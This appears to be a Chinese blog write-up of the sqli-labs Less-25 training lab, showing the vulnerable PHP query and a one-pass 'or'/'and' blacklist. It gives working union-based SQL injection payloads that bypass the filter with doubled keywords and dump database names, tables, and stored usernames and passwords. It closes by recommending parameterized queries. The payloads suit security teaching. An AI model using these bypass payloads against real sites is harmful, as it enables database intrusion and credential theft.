当前位置: 首页 > news >正文

sqli-labs:Less-25关卡详细解析

1. 思路🚀

本关的SQL语句为:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 注入类型:字符串型(单引号包裹)、GET操作
  • 提示:参数需以'闭合
  • 关键参数:id

php输出语句的部分代码:

if($row)
{echo '<font color= "#0000ff">';	echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";
}
else 
{echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";  
}

本关卡实现了对orand字符的过滤,并使用空格进行了替换(不区分大小写),因此不能直接使用这两个。但既然对其进行空格替换,而且只进行1次替换,那么完全可以将or改写为oorr,将and改写为aandnd,接下来正常注入即可。

function blacklist($id)
{$id= preg_replace('/or/i',"", $id);		//strip out OR (non case sensitive)$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)return $id;
}

在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-25/,从?id=开始,只需要将下面的sql语句粘贴即可。

2.1. 判断字段数⚡

注意order中的or,需要修改为oorrder

1' oorrder by 4 --+

在这里插入图片描述

回显信息,同时说明字段数为3。


2.2. 判断回显位⚡

-1' union select 1,2,3 --+

在这里插入图片描述


2.3. 获取基本信息⚡

-1' union select 1,database(),user() --+

在这里插入图片描述


2.4. 获取表名⚡

注意information_schema中的or,需要修改为infoorrmation_schema

-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema = 'security' --+

在这里插入图片描述


2.5. 获取字段⚡

注意information_schema中的or,需要修改为infoorrmation_schema,将and修改为aandnd

-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema = 'security' aandnd table_name = 'users' --+

在这里插入图片描述


2.6. 获取数据⚡

注意password中的or,需要修改为passwoorrd

-1' union select 1,group_concat(username),group_concat(passwoorrd) from users --+

在这里插入图片描述


2.7. 参数汇总表⭐

参数作用示例
'闭合符号id='
--+闭合符号--+
order by判断字段数order by 4
union select联合查询union select 1,2,3
group_concat()合并结果group_concat(table_name)
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. 总结🏁

本关卡代码虽然尝试通过过滤orand来防止SQL注入,但由于仅采用简单的字符串替换且未递归处理,攻击者仍可通过双写(如oorraandnd)、大小写混合、逻辑运算符替代或URL编码的方式等方式轻松绕过。

其根本问题在于依赖黑名单机制而非参数化查询,导致注入风险依然存在。有效的防御应当采用预处理语句配合严格的输入验证,而非仅对关键词进行表面过滤。

相似关卡,见文章"sqli-labs:Less-25a关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149887154?spm=1011.2415.3001.5331


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.lryc.cn/news/608645.html

相关文章:

  • 50天50个小项目 (Vue3 + Tailwindcss V4) ✨ | TodoList(代办事项组件)
  • 子区间问题
  • 主机序列号的修改方法与原理
  • Azure DevOps 中的代理
  • 渗透作业4
  • LeetCode - 合并两个有序链表 / 删除链表的倒数第 N 个结点
  • webrtc弱网-QualityScaler 源码分析与算法原理
  • PLC传感器接线与输出信号接线
  • WSUS服务器数据库维护与性能优化技术白皮书
  • 力扣 hot100 Day64
  • 六、Linux核心服务与包管理
  • 若没有安全可靠性保障,对于工程应用而言,AI或许就是大玩具吗?
  • Python黑科技:用@property优雅管理你的属性访问
  • ThinkPHP5x,struts2等框架靶场复现
  • 控制建模matlab练习10:滞后补偿器
  • 吴恩达【prompt提示词工程】学习笔记
  • MCP革命:Anthropic如何重新定义AI与外部世界的连接标准
  • 2.4.1-2.4.3控制范围-控制进度-控制成本
  • STM32复位电路解析
  • Rustdesk中继服务器搭建(windows 服务器)
  • 蜂群优化算法:智能优化新突破
  • 联想笔记本安装系统之后一直转圈圈的问题了?无法正常进入到系统配置界面,原来是BIOS中的VMD问题
  • VUE2 学习笔记16 插槽、Vuex
  • 09.Redis 常用命令
  • C++23 Concepts:用类型约束重构泛型编程的终极方案
  • 选择排序原理与C语言实现详解
  • redis的Java客户端(SpringDataRedis)
  • 深入掌握 ExcelJS:Node.js 中强大的 Excel 操作库
  • 2、docker容器命令 | 信息查看
  • 关于Web前端安全之XSS攻击防御增强方法